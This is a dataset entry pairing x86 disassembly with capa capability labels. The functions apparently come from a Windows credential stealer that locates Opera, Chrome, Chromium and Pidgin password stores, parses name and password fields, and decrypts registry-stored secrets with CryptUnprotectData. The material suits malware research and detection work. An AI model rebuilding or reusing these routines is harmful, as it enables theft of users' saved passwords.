joyce8/EMBER2024-capa huggingface dataset:
Function at 0x406764
Capabilities:
Read file on windows

Disassembly:
sub esp, 0x22c
mov byte [esp + 0x21f], 0
mov eax, dword [esp + 0x238]
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov eax, dword [esp + 0x234]
mov dword [esp], eax
call fcn.0040b1ee
mov dword [esp + 4], 0x413c0d
mov eax, dword [esp + 0x230]
mov dword [esp], eax
call sub.msvcrt.dll_fopen
mov dword [esp + 0x218], eax
cmp dword [esp + 0x218], 0
je 0x4068cc
mov eax, dword [esp + 0x218]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x200
mov dword [esp + 4], 1
lea eax, [esp + 0x10]
mov dword [esp], eax
call sub.msvcrt.dll_fread
test eax, eax
je 0x4068bd
mov byte [esp + 0x20f], 0
lea eax, [esp + 0x10]
mov dword [esp + 8], eax
mov dword [esp + 4], str.Path
mov dword [esp], 0
call fcn.0040ade0
add eax, 5
mov dword [esp + 0x214], eax
lea eax, [esp + 0x10]
mov dword [esp + 8], eax
mov dword [esp + 4], 0x413c15
mov eax, dword [esp + 0x214]
mov dword [esp], eax
call fcn.0040ade0
add eax, 1
mov dword [esp + 0x210], eax
cmp dword [esp + 0x214], 5
jle 0x4068bd
mov eax, dword [esp + 0x210]
cmp eax, dword [esp + 0x214]
jle 0x4068bd
mov eax, dword [esp + 0x214]
mov edx, dword [esp + 0x210]
sub edx, eax
mov eax, edx
cmp eax, dword [esp + 0x238]
jae 0x4068bd
mov eax, dword [esp + 0x214]
mov edx, dword [esp + 0x210]
sub edx, eax
mov eax, edx
lea ecx, [esp + 0x10]
mov edx, dword [esp + 0x214]
add edx, ecx
mov dword [esp + 8], eax
mov dword [esp + 4], edx
mov eax, dword [esp + 0x234]
mov dword [esp], eax
call fcn.0040ad48
test eax, eax
setne al
mov byte [esp + 0x21f], al
mov eax, dword [esp + 0x218]
mov dword [esp], eax
call sub.msvcrt.dll_fclose
movzx eax, byte [esp + 0x21f]
add esp, 0x22c
ret
Function at 0x407b77
Capabilities:
Query environment variable
Read file on windows

Disassembly:
sub esp, 0x22c
mov eax, dword [esp + 0x230]
mov dword [eax], 0
mov dword [esp], str.APPDATA
call sub.msvcrt.dll_getenv
mov dword [esp + 0xc], eax
mov dword [esp + 8], str._sOperaOperawand.dat
mov dword [esp + 4], 0x204
lea eax, [esp + 0x14]
mov dword [esp], eax
call fcn.0040afa3
lea eax, [esp + 0x14]
mov dword [esp], eax
call fcn.00404a4e
xor eax, 1
test al, al
je 0x407bf5
mov dword [esp], str.APPDATA
call sub.msvcrt.dll_getenv
mov dword [esp + 0xc], eax
mov dword [esp + 8], str._sOperaOperaprofilewand.dat
mov dword [esp + 4], 0x204
lea eax, [esp + 0x14]
mov dword [esp], eax
call fcn.0040afa3
mov dword [esp + 4], 0x413ecc
lea eax, [esp + 0x14]
mov dword [esp], eax
call sub.msvcrt.dll_fopen
mov dword [esp + 0x21c], eax
cmp dword [esp + 0x21c], 0
jne 0x407c24
mov eax, 0
jmp 0x407d24
mov dword [esp + 0x10], 0
lea eax, [esp + 0x14]
mov dword [esp], eax
call fcn.00404be8
mov dword [esp + 0x218], eax
cmp dword [esp + 0x218], 0
jle 0x407d10
mov eax, dword [esp + 0x218]
add eax, 6
mov dword [esp], eax
call sub.msvcrt.dll_malloc
mov dword [esp + 0x10], eax
mov eax, dword [esp + 0x10]
test eax, eax
je 0x407d10
mov eax, dword [esp + 0x10]
mov byte [eax], 3
mov eax, dword [esp + 0x218]
mov edx, dword [esp + 0x10]
lea ecx, [edx + 1]
mov edx, dword [esp + 0x21c]
mov dword [esp + 0xc], edx
mov dword [esp + 8], eax
mov dword [esp + 4], 1
mov dword [esp], ecx
call sub.msvcrt.dll_fread
mov dword [esp + 0x218], eax
cmp dword [esp + 0x218], 0
jle 0x407d04
mov eax, dword [esp + 0x10]
mov edx, dword [esp + 0x218]
add edx, 1
add eax, edx
mov dword [esp + 8], 5
mov dword [esp + 4], str._b_b_b_b
mov dword [esp], eax
call fcn.0040ad48
mov eax, dword [esp + 0x218]
lea edx, [eax + 6]
mov eax, dword [esp + 0x230]
mov dword [eax], edx
mov eax, dword [esp + 0x21c]
mov dword [esp], eax
call sub.msvcrt.dll_fclose
mov eax, dword [esp + 0x10]
jmp 0x407d24
lea eax, [esp + 0x10]
mov dword [esp], eax
call fcn.00405434
mov eax, dword [esp + 0x21c]
mov dword [esp], eax
call sub.msvcrt.dll_fclose
mov eax, 0
add esp, 0x22c
ret
Function at 0x407d2b
Capabilities:
Query environment variable

Disassembly:
sub esp, 0x33c
mov dword [esp + 0x24], 0
mov dword [esp], str.APPDATA
call sub.msvcrt.dll_getenv
mov dword [esp + 0xc], eax
mov dword [esp + 8], str._s.purple_accounts.xml
mov dword [esp + 4], 0x204
lea eax, [esp + 0x29]
mov dword [esp], eax
call fcn.0040afa3
mov dword [esp + 4], 0x413c0d
lea eax, [esp + 0x29]
mov dword [esp], eax
call sub.msvcrt.dll_fopen
mov dword [esp + 0x32c], eax
cmp dword [esp + 0x32c], 0
je 0x407ee1
mov dword [esp + 0x20], 0
jmp 0x407ea8
mov dword [esp + 0x20], 0
lea eax, [esp + 0x22d]
mov dword [esp + 8], eax
mov dword [esp + 4], str._protocol_
mov dword [esp], 0
call fcn.0040ade0
cmp eax, 0xffffffff
je 0x407dfd
lea eax, [esp + 0x22d]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 2
mov dword [esp + 4], str._d_s_a
lea eax, [esp + 0x20]
mov dword [esp], eax
call fcn.0040af50
cmp eax, 0xffffffff
jne 0x407e70
mov eax, 0
jmp 0x407ee5
lea eax, [esp + 0x22d]
mov dword [esp + 8], eax
mov dword [esp + 4], str._name_
mov dword [esp], 0
call fcn.0040ade0
cmp eax, 0xffffffff
jne 0x407e45
lea eax, [esp + 0x22d]
mov dword [esp + 8], eax
mov dword [esp + 4], str._password_
mov dword [esp], 0
call fcn.0040ade0
cmp eax, 0xffffffff
je 0x407e70
lea eax, [esp + 0x22d]
mov dword [esp + 8], eax
mov dword [esp + 4], 0x413f74
lea eax, [esp + 0x20]
mov dword [esp], eax
call fcn.0040af50
cmp eax, 0xffffffff
jne 0x407e70
mov eax, 0
jmp 0x407ee5
mov eax, dword [esp + 0x20]
test eax, eax
je 0x407ea8
mov dword [esp + 0x10], 1
mov dword [esp + 0xc], 0xffffffff
lea eax, [esp + 0x20]
mov dword [esp + 8], eax
mov dword [esp + 4], 0xffffffff
lea eax, [esp + 0x24]
mov dword [esp], eax
call fcn.0040b2cb
mov dword [esp + 0x24], eax
mov eax, dword [esp + 0x32c]
mov dword [esp + 8], eax
mov dword [esp + 4], 0xff
lea eax, [esp + 0x22d]
mov dword [esp], eax
call sub.msvcrt.dll_fgets
test eax, eax
jne 0x407d9b
mov eax, dword [esp + 0x32c]
mov dword [esp], eax
call sub.msvcrt.dll_fclose
mov eax, dword [esp + 0x24]
add esp, 0x33c
ret

Function at 0x407eec
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov edx, dword [ebp + 0x14]
mov eax, dword [ebp + 0x18]
mov dword [eax], edx
mov eax, dword [ebp + 0x18]
mov dword [esp + 0x14], eax
mov eax, dword [ebp + 0x10]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov eax, dword [ebp + 0xc]
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sub.ADVAPI32.DLL_RegQueryValueExA
sub esp, 0x18
test eax, eax
sete al
leave
ret
Function at 0x408758
Capabilities:
Read file on windows

Disassembly:
sub esp, 0x1c
mov eax, dword [esp + 0x2c]
cdq
mov dword [esp + 0xc], 0
mov dword [esp + 4], eax
mov dword [esp + 8], edx
mov eax, dword [esp + 0x20]
mov dword [esp], eax
call fcn.0040549d
test eax, eax
je 0x408787
mov eax, 0
jmp 0x4087b2
mov eax, dword [esp + 0x20]
mov dword [esp + 0xc], eax
mov eax, dword [esp + 0x28]
mov dword [esp + 8], eax
mov dword [esp + 4], 1
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sub.msvcrt.dll_fread
cmp eax, dword [esp + 0x28]
sete al
add esp, 0x1c
ret

Function at 0x4087b6
Capabilities:
Hash data using sha1
Hash data using sha1 via wincrypt
Hash data via wincrypt
Initialize hashing via wincrypt

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
mov dword [ebp - 0x18], 0
mov dword [esp + 8], 4
mov dword [esp + 4], 0
mov eax, dword [ebp + 0x10]
mov dword [esp], eax
call fcn.0040b1ee
mov dword [esp + 0x10], 0xf0000000
mov dword [esp + 0xc], 1
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp], 0x4182b8
call sub.ADVAPI32.DLL_CryptAcquireContextA
sub esp, 0x14
test eax, eax
je 0x40896a
mov eax, dword [0x4182b8]
lea edx, [ebp - 0x18]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0x8004
mov dword [esp], eax
call sub.ADVAPI32.DLL_CryptCreateHash
sub esp, 0x14
test eax, eax
je 0x408952
mov edx, dword [ebp + 0xc]
mov eax, dword [ebp - 0x18]
mov dword [esp + 0xc], 0
mov dword [esp + 8], edx
mov edx, dword [ebp + 8]
mov dword [esp + 4], edx
mov dword [esp], eax
call sub.ADVAPI32.DLL_CryptHashData
sub esp, 0x10
test eax, eax
je 0x408944
mov dword [ebp - 0x30], 0x14
mov eax, dword [ebp - 0x18]
mov dword [esp + 0x10], 0
lea edx, [ebp - 0x30]
mov dword [esp + 0xc], edx
lea edx, [ebp - 0x2c]
mov dword [esp + 8], edx
mov dword [esp + 4], 2
mov dword [esp], eax
call sub.ADVAPI32.DLL_CryptGetHashParam
sub esp, 0x14
test eax, eax
je 0x408944
mov byte [ebp - 0x11], 0
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x10], 0
jmp 0x40890f
lea edx, [ebp - 0x2c]
mov eax, dword [ebp - 0xc]
add eax, edx
movzx eax, byte [eax]
add byte [ebp - 0x11], al
lea edx, [ebp - 0x2c]
mov eax, dword [ebp - 0xc]
add eax, edx
movzx eax, byte [eax]
movzx eax, al
mov ecx, dword [ebp - 0x10]
mov edx, dword [ebp + 0x10]
add edx, ecx
mov dword [esp + 0xc], eax
mov dword [esp + 8], str._.2X
mov dword [esp + 4], 2
mov dword [esp], edx
call fcn.0040afa3
add dword [ebp - 0xc], 1
add dword [ebp - 0x10], 2
cmp dword [ebp - 0xc], 0x13
jle 0x4088c7
movzx eax, byte [ebp - 0x11]
mov ecx, dword [ebp - 0x10]
mov edx, dword [ebp + 0x10]
add edx, ecx
mov dword [esp + 0xc], eax
mov dword [esp + 8], str._.2X
mov dword [esp + 4], 2
mov dword [esp], edx
call fcn.0040afa3
mov eax, 1
jmp 0x40896f
mov eax, dword [ebp - 0x18]
mov dword [esp], eax
call sub.ADVAPI32.DLL_CryptDestroyHash
sub esp, 4
mov eax, dword [0x4182b8]
mov dword [esp + 4], 0
mov dword [esp], eax
call sub.ADVAPI32.DLL_CryptReleaseContext
sub esp, 8
mov eax, 0
leave
ret
Function at 0x408971
Capabilities:
Encrypt data using dpapi
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x888
mov eax, dword [ebp + 0x18]
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov eax, dword [ebp + 0x14]
mov dword [esp], eax
call fcn.0040b1ee
mov eax, dword [ebp + 0x10]
lea edx, [ebp - 0x47]
mov dword [esp + 8], edx
mov dword [esp + 4], eax
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call fcn.004087b6
xor eax, 1
test al, al
je 0x4089be
mov eax, 0
jmp 0x408b39
mov byte [ebp - 0x1d], 0
mov dword [ebp - 0x4c], 0x800
lea eax, [ebp - 0x4c]
mov dword [esp + 0x14], eax
lea eax, [ebp - 0x84c]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
lea eax, [ebp - 0x47]
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sub.ADVAPI32.DLL_RegQueryValueExA
sub esp, 0x18
test eax, eax
jne 0x408b34
lea eax, [ebp - 0x84c]
mov dword [ebp - 0x850], eax
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x854], eax
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x860], eax
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x864], eax
lea eax, [ebp - 0x85c]
mov dword [esp + 0x18], eax
mov dword [esp + 0x14], 1
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
lea eax, [ebp - 0x864]
mov dword [esp + 8], eax
mov dword [esp + 4], 0
lea eax, [ebp - 0x854]
mov dword [esp], eax
call sub.CRYPT32.DLL_CryptUnprotectData
sub esp, 0x1c
test eax, eax
je 0x408b34
mov eax, dword [ebp - 0x858]
mov dword [ebp - 0xc], eax
mov edx, dword [ebp - 0x85c]
mov eax, dword [ebp - 0xc]
mov ecx, dword [eax]
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + 4]
add ecx, eax
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + 8]
add eax, ecx
cmp edx, eax
jb 0x408b1c
mov eax, dword [ebp - 0x858]
add eax, 0x24
mov dword [ebp - 0x10], eax
mov edx, dword [ebp - 0x858]
mov eax, dword [ebp - 0xc]
mov ecx, dword [eax]
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + 4]
add eax, ecx
add eax, edx
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x10]
mov edx, dword [eax]
mov eax, dword [ebp - 0x14]
add eax, edx
mov dword [ebp - 0x18], eax
add dword [ebp - 0x10], 0x10
mov eax, dword [ebp - 0x10]
mov edx, dword [eax]
mov eax, dword [ebp - 0x14]
add eax, edx
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
mov dword [esp + 0x18], eax
mov eax, dword [ebp - 0x18]
mov dword [esp + 0x14], eax
mov eax, dword [ebp + 0xc]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 2
mov dword [esp + 8], str._c_S_a_S:_S_b_b_b_b
mov eax, dword [ebp + 0x18]
mov dword [esp + 4], eax
mov eax, dword [ebp + 0x14]
mov dword [esp], eax
call fcn.0040afa3
mov eax, dword [ebp - 0x858]
mov dword [esp], eax
call sub.KERNEL32.dll_LocalFree
sub esp, 4
mov eax, 1
jmp 0x408b39
mov eax, 0
leave
ret
Function at 0x40947b
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x788
mov dword [esp], 0x8003
call sub.KERNEL32.dll_SetErrorMode
sub esp, 4
mov eax, dword [ebp + 8]
mov dword [esp + 0xc], eax
mov dword [esp + 8], str._s.
mov dword [esp + 4], 0x204
lea eax, [ebp - 0x214]
mov dword [esp], eax
call fcn.0040afa3
cmp eax, 0xffffffff
jne 0x4094c2
jmp 0x40967f
lea eax, [ebp - 0x558]
mov dword [esp + 4], eax
lea eax, [ebp - 0x214]
mov dword [esp], eax
call sub.KERNEL32.dll_FindFirstFileA
sub esp, 8
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0xffffffff
je 0x40967e
mov dword [esp + 4], 0x4141d1
lea eax, [ebp - 0x558]
add eax, 0x2c
mov dword [esp], eax
call fcn.0040b055
test eax, eax
je 0x409524
mov dword [esp + 4], 0x4141d3
lea eax, [ebp - 0x558]
add eax, 0x2c
mov dword [esp], eax
call fcn.0040b055
test eax, eax
jne 0x409529
jmp 0x409650
mov eax, dword [ebp - 0x558]
and eax, 0x10
test eax, eax
je 0x40958c
lea eax, [ebp - 0x558]
add eax, 0x2c
mov dword [esp + 0x10], eax
mov eax, dword [ebp + 8]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x413c69
mov dword [esp + 4], 0x204
lea eax, [ebp - 0x760]
mov dword [esp], eax
call fcn.0040afa3
mov eax, dword [ebp + 0xc]
lea edx, [eax + 1]
mov eax, dword [ebp + 0x10]
mov dword [esp + 8], eax
mov dword [esp + 4], edx
lea eax, [ebp - 0x760]
mov dword [esp], eax
call fcn.0040947b
jmp 0x409650
lea eax, [ebp - 0x558]
add eax, 0x2c
mov dword [esp + 4], eax
mov dword [esp], str.index.dat
call fcn.0040b055
test eax, eax
jne 0x409650
lea eax, [ebp - 0x558]
add eax, 0x2c
mov dword [esp + 0x10], eax
mov eax, dword [ebp + 8]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x413c69
mov dword [esp + 4], 0x204
lea eax, [ebp - 0x418]
mov dword [esp], eax
call fcn.0040afa3
lea eax, [ebp - 0x418]
mov dword [esp], eax
call fcn.00408f96
mov dword [ebp - 0x55c], eax
mov eax, dword [ebp - 0x55c]
test eax, eax
je 0x409650
mov eax, dword [ebp - 0x55c]
mov dword [esp], eax
call sub.msvcrt.dll_strlen
mov dword [ebp - 0x10], eax
mov eax, dword [0x4182b4]
mov dword [esp + 0x10], 1
mov edx, dword [ebp - 0x10]
mov dword [esp + 0xc], edx
lea edx, [ebp - 0x55c]
mov dword [esp + 8], edx
mov dword [esp + 4], eax
mov eax, dword [ebp + 0x10]
mov dword [esp], eax
call fcn.0040b2cb
mov edx, dword [ebp + 0x10]
mov dword [edx], eax
mov edx, dword [0x4182b4]
mov eax, dword [ebp - 0x10]
add eax, edx
mov dword [0x4182b4], eax
lea eax, [ebp - 0x558]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sub.KERNEL32.dll_FindNextFileA
sub esp, 8
test eax, eax
jne 0x4094ea
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sub.KERNEL32.dll_FindClose
sub esp, 4
nop
leave
ret
Function at 0x409e36
Capabilities:
Persist via run registry key

Disassembly:
sub esp, 0x4c
mov dword [esp + 0x38], 0
mov dword [esp + 0x3c], 0
mov eax, dword [esp + 0x50]
mov dword [eax], 0
mov dword [0x4182b4], 0
call fcn.00408d46
mov dword [esp + 0x30], eax
mov eax, dword [esp + 0x30]
test eax, eax
je 0x409eb6
mov eax, dword [esp + 0x30]
mov dword [esp], eax
call sub.msvcrt.dll_strlen
mov dword [esp + 0x34], eax
mov eax, dword [esp + 0x34]
mov dword [esp + 0x10], 1
mov dword [esp + 0xc], eax
lea eax, [esp + 0x30]
mov dword [esp + 8], eax
mov eax, dword [esp + 0x3c]
mov dword [esp + 4], eax
lea eax, [esp + 0x38]
mov dword [esp], eax
call fcn.0040b2cb
mov dword [esp + 0x38], eax
mov eax, dword [esp + 0x34]
add dword [esp + 0x3c], eax
mov dword [esp + 0x28], 0
mov dword [esp + 8], str.History
mov dword [esp + 4], str.SoftwareMicrosoftWindowsCurrentVersionExplorerShell_Folders
mov dword [esp], 0x80000001
call fcn.00410790
mov dword [esp + 0x2c], eax
mov eax, dword [esp + 0x2c]
test eax, eax
je 0x409f0e
mov eax, dword [esp + 0x2c]
lea edx, [esp + 0x28]
mov dword [esp + 8], edx
mov dword [esp + 4], 0
mov dword [esp], eax
call fcn.0040947b
lea eax, [esp + 0x2c]
mov dword [esp], eax
call fcn.00405434
mov eax, dword [esp + 0x28]
test eax, eax
je 0x409f5e
mov eax, dword [esp + 0x28]
mov dword [esp], eax
call sub.msvcrt.dll_strlen
mov dword [esp + 0x34], eax
mov eax, dword [esp + 0x34]
mov dword [esp + 0x10], 1
mov dword [esp + 0xc], eax
lea eax, [esp + 0x28]
mov dword [esp + 8], eax
mov eax, dword [esp + 0x3c]
mov dword [esp + 4], eax
lea eax, [esp + 0x38]
mov dword [esp], eax
call fcn.0040b2cb
mov dword [esp + 0x38], eax
mov eax, dword [esp + 0x34]
add dword [esp + 0x3c], eax
lea eax, [esp + 0x34]
mov dword [esp], eax
call fcn.00409681
mov dword [esp + 0x24], eax
mov eax, dword [esp + 0x24]
test eax, eax
je 0x409fae
mov eax, dword [esp + 0x34]
mov dword [esp + 0x10], 1
mov dword [esp + 0xc], eax
lea eax, [esp + 0x24]
mov dword [esp + 8], eax
mov eax, dword [esp + 0x3c]
mov dword [esp + 4], eax
lea eax, [esp + 0x38]
mov dword [esp], eax
call fcn.0040b2cb
mov dword [esp + 0x38], eax
mov eax, dword [esp + 0x34]
add dword [esp + 0x3c], eax
mov eax, dword [esp + 0x50]
mov edx, dword [esp + 0x3c]
mov dword [eax], edx
mov eax, dword [esp + 0x38]
add esp, 0x4c
ret
Function at 0x40a3a0
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov byte [ebp - 9], 0
mov dword [esp], 4
call sub.msvcrt.dll_malloc
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
test eax, eax
jne 0x40a3c9
movzx eax, byte [ebp - 9]
jmp 0x40a4d3
mov eax, dword [ebp + 0x10]
mov dword [esp], eax
call sub.msvcrt.dll_malloc
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
test eax, eax
jne 0x40a3e7
movzx eax, byte [ebp - 9]
jmp 0x40a4d3
mov eax, dword [ebp - 0x10]
mov dword [esp + 8], eax
mov dword [esp + 4], 0x1c
mov dword [esp], 0
call sub.SHELL32.DLL_SHGetSpecialFolderLocation
sub esp, 0xc
test eax, eax
jne 0x40a4b2
mov eax, dword [ebp + 8]
cmp eax, 4
je 0x40a41f
cmp eax, 5
je 0x40a469
jmp 0x40a4b2
mov edx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x10]
mov eax, dword [eax]
mov dword [esp + 4], edx
mov dword [esp], eax
call sub.SHELL32.DLL_SHGetPathFromIDListA
sub esp, 8
test eax, eax
setne al
mov byte [ebp - 9], al
cmp byte [ebp - 9], 0
je 0x40a467
mov eax, dword [ebp - 0x14]
mov dword [esp + 0xc], eax
mov dword [esp + 8], str._sGoogleChromeUser_DataDefaultLogin_Data
mov eax, dword [ebp + 0x10]
mov dword [esp + 4], eax
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call fcn.0040afa3
jmp 0x40a4b2
jmp 0x40a4b2
mov edx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x10]
mov eax, dword [eax]
mov dword [esp + 4], edx
mov dword [esp], eax
call sub.SHELL32.DLL_SHGetPathFromIDListA
sub esp, 8
test eax, eax
setne al
mov byte [ebp - 9], al
cmp byte [ebp - 9], 0
je 0x40a4b1
mov eax, dword [ebp - 0x14]
mov dword [esp + 0xc], eax
mov dword [esp + 8], str._sChromiumUser_DataDefaultLogin_Data
mov eax, dword [ebp + 0x10]
mov dword [esp + 4], eax
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call fcn.0040afa3
jmp 0x40a4b1
nop
lea eax, [ebp - 0x14]
mov dword [esp], eax
call fcn.00405434
lea eax, [ebp - 0x10]
mov dword [esp], eax
call fcn.00405434
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call fcn.00404a4e
leave
ret

Function at 0x40a795
Capabilities:
Query environment variable

Disassembly:
sub esp, 0x22c
mov dword [esp], str.APPDATA
call sub.msvcrt.dll_getenv
mov dword [esp + 0xc], eax
mov dword [esp + 8], str._sOpera_SoftwareOpera_StableLogin_Data
mov dword [esp + 4], 0x204
lea eax, [esp + 0x1c]
mov dword [esp], eax
call fcn.0040afa3
lea eax, [esp + 0x1c]
mov dword [esp], eax
call fcn.00404a4e
test al, al
je 0x40a7ed
lea eax, [esp + 0x1c]
mov dword [esp + 4], eax
mov dword [esp], 7
call fcn.0040a4d5
jmp 0x40a7f2
mov eax, 0
add esp, 0x22c
ret
Function at 0x40b56d
Capabilities:
Query environment variable

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x13c
mov ebp, dword [esp + 0x154]
cmp dword [esp + 0x150], ebp
je 0x40b74b
mov eax, dword [esp + 0x158]
xor esi, esi
xor ebx, ebx
mov dword [esp + 4], 0
mov dword [esp], ebp
mov dword [esp + 8], eax
call fcn.0040b1ee
mov eax, dword [esp + 0x150]
cmp byte [eax + esi], 0
je 0x40b5c0
cmp ebx, dword [esp + 0x158]
jb 0x40b5c7
xor eax, eax
jmp 0x40b73d
mov ecx, dword [esp + 0x150]
mov edi, esi
sub edi, ebx
add ecx, esi
sub ecx, ebx
lea eax, [ecx + ebx]
mov dword [esp + 0x20], eax
mov eax, dword [esp + 0x150]
lea esi, [edi + ebx]
add eax, edi
mov al, byte [eax + ebx]
cmp al, 0x25
je 0x40b604
test al, al
je 0x40b604
cmp ebx, dword [esp + 0x158]
je 0x40b5aa
inc ebx
mov byte [ebp + ebx - 1], al
jmp 0x40b5d6
cmp al, 0x25
mov dword [esp + 0x24], esi
mov dword [esp + 0x28], ebx
jne 0x40b5aa
lea eax, [esp + 0x30]
mov dword [esp], eax
lea edi, [esi + 1]
mov dword [esp + 8], 0x100
mov dword [esp + 4], 0
call fcn.0040b1ee
lea eax, [esi + 0x101]
mov dword [esp + 0x18], eax
lea eax, [esp + 0x30]
sub eax, esi
mov dword [esp + 0x1c], esi
mov dword [esp + 0x2c], eax
mov eax, dword [esp + 0x150]
movsx eax, byte [eax + edi]
test al, al
je 0x40b679
cmp al, 0x25
je 0x40b679
cmp edi, dword [esp + 0x18]
je 0x40b5aa
mov dword [esp], eax
inc edi
call fcn.0040b044
mov edx, dword [esp + 0x2c]
mov esi, edi
mov byte [edx + edi - 2], al
jmp 0x40b647
test al, al
jne 0x40b6b1
mov esi, dword [esp + 0x1c]
inc esi
mov eax, dword [esp + 0x150]
mov al, byte [eax + esi]
cmp al, 0x25
je 0x40b5aa
test al, al
je 0x40b5aa
cmp ebx, dword [esp + 0x158]
jae 0x40b5aa
inc ebx
inc esi
mov byte [ebp + ebx - 1], al
jmp 0x40b682
cmp al, 0x25
jne 0x40b5aa
lea eax, [esp + 0x30]
mov dword [esp], eax
call sub.msvcrt.dll_getenv
test eax, eax
je 0x40b6cd
sub eax, ebx
jmp 0x40b723
mov eax, dword [esp + 0x20]
inc ebx
mov edx, dword [esp + 0x28]
mov ecx, dword [esp + 0x24]
mov edi, dword [esp + 0x150]
mov al, byte [eax]
sub ecx, edx
add edi, ecx
mov byte [ebp + edx], al
mov al, byte [edi + ebx]
lea esi, [ecx + ebx]
cmp al, 0x25
je 0x40b5aa
test al, al
je 0x40b5aa
cmp ebx, dword [esp + 0x158]
jae 0x40b5aa
inc ebx
mov byte [ebp + ebx - 1], al
jmp 0x40b6eb
cmp ebx, dword [esp + 0x158]
jae 0x40b72a
inc ebx
mov byte [ebp + ebx - 1], cl
mov cl, byte [eax + ebx]
test cl, cl
jne 0x40b715
inc esi
jmp 0x40b5aa
cmp byte [ebp + eax], 0x2f
jne 0x40b73c
mov byte [ebp + eax], 0x5c
inc eax
cmp eax, dword [esp + 0x158]
jne 0x40b730
mov byte [ebp + eax - 1], 0
add esp, 0x13c
pop ebx
pop esi
pop edi
pop ebp
ret